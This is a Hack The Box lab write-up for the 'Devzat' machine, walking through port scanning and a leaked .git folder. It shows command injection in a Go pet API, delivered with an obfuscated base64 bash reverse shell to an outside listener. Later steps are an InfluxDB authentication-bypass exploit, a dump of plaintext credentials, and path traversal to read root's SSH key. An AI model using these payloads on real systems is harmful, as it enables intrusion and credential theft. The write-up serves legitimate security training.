Home Hack The Box Writeup - Devzat
Post
Cancel

Hack The Box Writeup - Devzat

Devzat is a medium Linux box. The main objective of this box was to abuse several web application vulnerabilities. First, the source code of the web application was obtained via a forgotten .git folder on the web application root. A look at the source code revealed a code injection vulnerability which gave us initial access to the system. Next, a port forward had to be established to access the web application’s database. This database contained several vulnerabilities one of which led to full disclosure of all DB entries. This is how we obtained another user’s credentials. Using this user, we then were able to access another instance of a web application (a bot), which allowed us to read files with root privileges. This way, we were able to leak root’s private ssh key, which was then used to impersonate the root user.

Port - Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ rustscan -a devzat.htb -- -sC -sV -oN port_scan

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                       
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNaY36GNxswLsvQjgdNt0oBgiJp/OExsv55LjY72WFW03eiJrOY5hbm5AjjyePPTm2N9HO7uK230THXoGWOXhrlzT3nU/g/DkQyDcFZioiE7M2eRIK2m4egM5SYGcKvXDtQqSK86ex4I31Nq6m9EV
pVWphbLfvaWjRmIgOlURo+P76WgjzZzKws42mag2zIrn5oP+ODhOW/3ta289/EMYS6phUbBd0KJIWm9ciNfKA2D7kklnuUP1ZRBe2DbSvd2HV5spoLQKmtY37JEX7aYdETjDUHvTqgkWsVCZAa5qNswPEV7zFlAJTgtW8tZsjW86Q0H49M5dUPra4BEXf
Z0/idJy+jpMkbfj6+VjlsvaxxvNUEVrbPBXe9SlbeXdrNla5nenpbwtWNhckUlsEZjlpv8VnHqXt99s1mfHJkgO+yF09gvVPVdglDSqMAla8d2rfaVD68RfoGQc10Af6xiohSOA8LIa0f4Yaw+PjLlcylF5APDnSjtQvHm8TnQyRaVM=
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCenH4vaESizD5ZgkV+1Yo3MJH9MfmUdKhvU+2Z2ShSSWjp1AfRmK/U/rYaFOoeKFIjo1P4s8fz3eXr3Pzk/X80=
|   256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)                                                                                                                            
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKTxLGFW04ssWG0kheQptJmR5sHKtPI2G+zh4FVF0pBm
80/tcp   open  http    syn-ack Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open  ssh     syn-ack (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|   3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTPm8Ze7iuUlabZ99t6SWJTw3spK5GP21qE/f7FOT/P+crNvZQKLuSHughKWgZH7Tku7Nmu/WxhZwVUFDpkiDG1mSPeK6uyGpuTmncComFvD3CaldFrZCNxbQ/BbWeyNVpF9szeVTwfdgY5PNoQFQ
0reSwtenV6atEA5WfrZzhSZXWuWEn+7HB9C6w1aaqikPQDQSxRArcLZY5cgjNy34ZMk7MLaWciK99/xEYuNEAbR1v0/8ItVv5pyD8QMFD+s2NwHk6eJ3hqks2F5VJeqIZL2gXvBmgvQJ8fBLb0pBN6xa1xkOAPpQkrBL0pEEqKFQsdJaIzDpCBGmEL0E/
DfO6Dsyq+dmcFstxwfvNO84OmoD2UArb/PxZPaOowjE47GRHl68cDIi3ULKjKoMg2QD7zrayfc7KXP8qEO0j5Xws0nXMll6VO9Gun6k9yaXkEvrFjfLucqIErd7eLtRvDFwcfw0VdflSdmfEz/NkV8kFpXm7iopTKdcwNcqjNnS1TIs=
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.91%I=7%D=11/5%Time=61854ED7%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We get back the following result showing that three ports are open:

  • Port 22: OpenSSH 8.2p1
  • Port 80: Apache httpd 2.4.41
  • Port 8080: Another ssh server (version: SSH-2.0-Go)

Port 80

Looking at the website, we see that Devzat apparently is a chat-software that communicates over ssh.

We also get a short introduction on how to use it:

So, the second open SSH port (port 8000) is running the Devzat application and we can connect to it!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ ssh -l babbadeckl devzat.htb -p 8000


Welcome to the chat. There are no more users
devbot: babbadeckl has joined the chat
babbadeckl: /help
[SYSTEM] Welcome to Devzat! Devzat is chat over SSH: github.com/quackduck/devzat
[SYSTEM] Because there's SSH apps on all platforms, even on mobile, you can join from anywhere.
[SYSTEM] 
[SYSTEM] Interesting features:
[SYSTEM] • Many, many commands. Run /commands.
[SYSTEM] • Rooms! Run /room to see all rooms and use /room #foo to join a new room.
[SYSTEM] • Markdown support! Tables, headers, italics and everything. Just use in place of newlines.
[SYSTEM] • Code syntax highlighting. Use Markdown fences to send code. Run /example-code to see an example.
[SYSTEM] • Direct messages! Send a quick DM using =user <msg> or stay in DMs by running /room @user.
[SYSTEM] • Timezone support, use /tz Continent/City to set your timezone.
[SYSTEM] • Built in Tic Tac Toe and Hangman! Run /tic or /hang <word> to start new games.
[SYSTEM] • Emoji replacements! (like on Slack and Discord)
[SYSTEM] 
[SYSTEM] For replacing newlines, I often use bulkseotools.com/add-remove-line-breaks.php.
[SYSTEM] 
[SYSTEM] Made by Ishan Goel with feature ideas from friends.
[SYSTEM] Thanks to Caleb Denio for lending his server!
[SYSTEM] 
[SYSTEM] For a list of commands run
[SYSTEM] ┃ /commands

Hmm… nothing interesting for now.

So I started scanning for other directories and subdomains. I then found a sub-domain called pets.devzat.htb.

Subdomain - pets.devzat.htb

Here, we can add pets (set name and the species). After some minutes of trying several things (e.g. including payloads), I realized that this is probably a dead end. Thus I again started scanning for directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ feroxbuster -u http://pets.devzat.htb/api -w /usr/share/seclists/Discovery/Web-Content/common.txt                                                                                        
                                                                                                                                                                                             
 ___  ___  __   __     __      __         __   ___                                                                                                                                           
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__                                                                                                                                            
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___                                                                                                                                           
by Ben "epi" Risher 🤓                 ver: 2.3.3                                                                                                                                            
───────────────────────────┬──────────────────────                                                                                                                                           
 🎯  Target Url            │ http://pets.devzat.htb/api                                                                                                                                      
 🚀  Threads               │ 50                                                                                                                                                              
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/common.txt                                                                                                            
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]                                                                                                              
 💥  Timeout (secs)        │ 7                                                                                                                                                               
 🦡  User-Agent            │ feroxbuster/2.3.3                                                                                                                                               
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml                                                                                                                              
 🔃  Recursion Depth       │ 4                                                                                                                                                               
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest                                                                                                           
───────────────────────────┴────────────────────── 
[#######>------------] - 5s      8546/23510   9s      found:2       errors:0                                                                                                                 
[############>-------] - 5s      3041/4702    607/s   http://pets.devzat.htb/api                                                                                                             
[##########>---------] - 4s      2534/4702    535/s   http://pets.devzat.htb/api/.git/                                                                             

Huh? There is an accessible .git file!

Great! This is a legit .git file. Now we can recursively download all the files to our local machine. Either write a script for it or use existing tools like GitTools.

1
└─$ ./gitdumper.sh http://pets.devzat.htb/.git/ ~/HTB/machines/devzat/git

Once done, we can start analysing the git repository.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ git log
commit ef07a04ebb2fc92cf74a39e0e4b843630666a705 (HEAD -> master)
Author: patrick <patrick@devzat.htb>
Date:   Wed Jun 23 19:06:12 2021 +0000

    back again to localhost only

commit 464614f32483e1fde60ee53f5d3b4d468d80ff62
Author: patrick <patrick@devzat.htb>
Date:   Wed Jun 23 19:02:23 2021 +0000

    fixed broken fonts

commit 8274d7a547c0c3854c074579dfc359664082a8f6
Author: patrick <patrick@devzat.htb>
Date:   Tue Jun 22 19:52:32 2021 +0000

    init

I then used git checkout 8274d7a547c0c3854c074579dfc359664082a8f6 to reset the repository to this specific commit.

Looking at the main.go code, we can immediately see a vulnerability:

1
2
3
4
5
6
7
8
func loadCharacter(species string) string {                                                                                                                                                  
        cmd := exec.Command("sh", "-c", "cat characteristics/"+species)                                                                                                                      
        stdoutStderr, err := cmd.CombinedOutput()                                                                                                                                            
        if err != nil {                                                                                                                                                                      
                return err.Error()                                                                                                                                                           
        }                                                                                                                                                                                    
        return string(stdoutStderr)                                                                                                                                                          
} 

It executes a command and simply appends the species of the pet to the command without any sanitzation. This is the perfect example for an RCE. So, now let’s add a pet, intercept the request, change the species to the payload ;id and send it.

Initial Foothold

There we go! That’s the proof that we have an RCE! Now let’s simply establish a reverse shell to get access to the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://pets.devzat.htb/api/pets
Content-Type: text/plain;charset=UTF-8
Origin: http://pets.devzat.htb
Content-Length: 140
Connection: close

{"name":"test","species":"cat;echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvNDQ0NCAwPiYxIgo= | base64 -d | bash"}

Horizontal Privilege Escalation - User catherine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
patrick@devzat:/home$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      950/./petshop       
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::8000                 :::*                    LISTEN      947/./devchat       
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
patrick@devzat:/home$ 

Here, we see that we actually have several additional ports open. Port 8443 (this is another instance of the devzat chat) and Port 8086, which we dont know what it is. So let’s forward it to our local machine and analyse it.

1
2
patrick@devzat:/home$ 
ssh> -L5555:127.0.0.1:8086

Now use nmap to analyse the service.

1
2
3
4
5
6
7
8
└─$ nmap -sCV -p 5555 127.0.0.1                                                                                                                                                        255 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-05 13:31 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00059s latency).

PORT     STATE SERVICE VERSION
5555/tcp open  http    InfluxDB http admin 1.7.5
|_http-title: Site doesn't have a title (text/plain; charset=utf-8)

It’s a database! Googling for InfluxDB version 1.7.5 we are immediately prompted with several exploits to bypass the authentication mechanism (https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933). That’s great as we are not in possession of any credentials that could work.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ python3 __main__.py 
  _____        __ _            _____  ____    ______            _       _ _   
 |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |  
   | |  _ __ | |_| |_   ___  __ |  | | |_) | | |__  __  ___ __ | | ___  _| |_ 
   | | | '_ \|  _| | | | \ \/ / |  | |  _ <  |  __| \ \/ / '_ \| |/ _ \| | __|
  _| |_| | | | | | | |_| |>  <| |__| | |_) | | |____ >  <| |_) | | (_) | | |_ 
 |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                                         | |                  
                                                         |_|                  
CVE-2019-20933

Insert ip host (default localhost): 
Insert port (default 8086): 5555
Insert influxdb user (wordlist path to bruteforce username): admin
Host vulnerable !!!
Databases list:

1) devzat
2) _internal

Perfect! The host is indeed vulnerable to this CVE and we got access to the devzat database. Now we look at the generated measurements of the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[devzat] Insert query (exit to change db): show measurements
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "name"
                    ],
                    "name": "measurements",
                    "values": [
                        [
                            "user"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Here we can see that the database contains a table called user. Let’s extract all the information stored in there.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[devzat] Insert query (exit to change db): select * from "user"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Plaintext passwords. Lovely! Makes things much easier for us. Now we can try to use the credentials: catherine:woBeeYareedahc7Oogeephies7Aiseci to log in as catherine!

Verticial Privilege Escalation - User root

Great, now that we are catherine, we need to find a way to get root access! As we have seen before, there is another devzat instance running on Port 8443. Before we investigate that further, let’s see if there are any specific files that we can access with the new user.

1
2
3
4
5
6
7
8
9
10
11
catherine@devzat:~$ find / -group catherine 2>/dev/null | grep -v proc
/home/catherine
/home/catherine/.profile
/home/catherine/.cache
/home/catherine/.cache/motd.legal-displayed
/home/catherine/.bashrc
/home/catherine/.ssh
/home/catherine/user.txt
/home/catherine/.bash_logout
/var/backups/devzat-main.zip
/var/backups/devzat-dev.zip

Devzat backups (dev and main)… these seem promising. The website previously also mentioned that new features are about to be implemented. Something related to file upload etc. Let’s see if we can find something in the dev version.

Snippet of commands.go

1
2
3
4
5
clear       = commandInfo{"clear", "Clears your terminal", clearCommand, 1, false, nil}
message     = commandInfo{"message", "Sends a private message to someone", messageCommand, 1, false, []string
...
exampleCode = commandInfo{"example-code", "Hello world!", exampleCodeCommand, 1, false, nil}
file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}

A new command called file! Let’s see how the command works

Another snippet of commands.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
func fileCommand(u *user, args []string) {
        if len(args) < 1 {
                u.system("Please provide file to print and the password")
                return
        }

        if len(args) < 2 {
                u.system("You need to provide the correct password to use this function")
                return
        }

        path := args[0]
        pass := args[1]

        // Check my secure password
        if pass != "CeilingCatStillAThingIn2021?" {
                u.system("You did provide the wrong password")
                return
        }

        // Get CWD
        cwd, err := os.Getwd()
        if err != nil {
                u.system(err.Error())
        }

Another plaintext password!!! So the /file command takes 2 arguments. The file that we want to read and the password. So let’s try it!

1
2
3
4
5
catherine@devzat:/tmp/dev$ ssh -l babbadeckl 127.0.0.1 -p 8443
Welcome to the chat. There are no more users
devbot: babbadeckl has joined the chat
babbadeckl: /file /root/.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/root/.ssh/id_rsa does not exist!

Hmm… /root/devzat/root/.ssh/id_rsa does not exist… It appends our input to /root/devzat. So let’s try ../.ssh/id_rsa

1
2
3
4
5
6
7
babbadeckl: /file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] -----BEGIN OPENSSH PRIVATE KEY-----
[SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
<redacted>
[SYSTEM] AAAECtFKzlEg5E6446RxdDKxslb4Cmd2fsqfPPOffYNOP20d+v8nnFgciadUghCpQomz7s
[SYSTEM] Q0ekw7ZzIOJu9Fn+tsKoAAAAD3Jvb3RAZGV2emF0Lmh0YgECAwQFBg==
[SYSTEM] -----END OPENSSH PRIVATE KEY-----

Great! Now we can use this key to log in as root.

This post is licensed under CC BY 4.0 by the author.